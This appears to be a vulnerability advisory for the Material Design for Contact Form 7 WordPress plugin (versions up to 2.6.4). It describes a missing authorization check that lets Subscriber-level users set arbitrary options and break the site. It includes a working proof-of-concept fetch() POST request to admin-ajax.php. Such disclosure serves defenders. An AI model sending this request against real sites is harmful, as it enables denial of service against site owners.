Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:6D0932BB-D515-4432-B67B-16ABA34BD285
HistoryMar 11, 2022 - 12:00 a.m.

Material Design for Contact Form 7 <= 2.6.4 - Subscriber+ Arbitrary Settings Update leading to DoS

2022-03-1100:00:00
Krzysztof Zając
79

0.001 Low

EPSS

Percentile

34.3%

The plugin does not check authorization or that the option mentioned in the notice param belongs to the plugin when processing requests to the cf7md_dismiss_notice action, allowing any logged in user (with roles as low as Subscriber) to set arbitrary options to true, potentially leading to Denial of Service by breaking the site.

fetch("http://127.0.0.1:8001/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=cf7md_dismiss_notice&notice=template",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

0.001 Low

EPSS

Percentile

34.3%

Related for WPEX-ID:6D0932BB-D515-4432-B67B-16ABA34BD285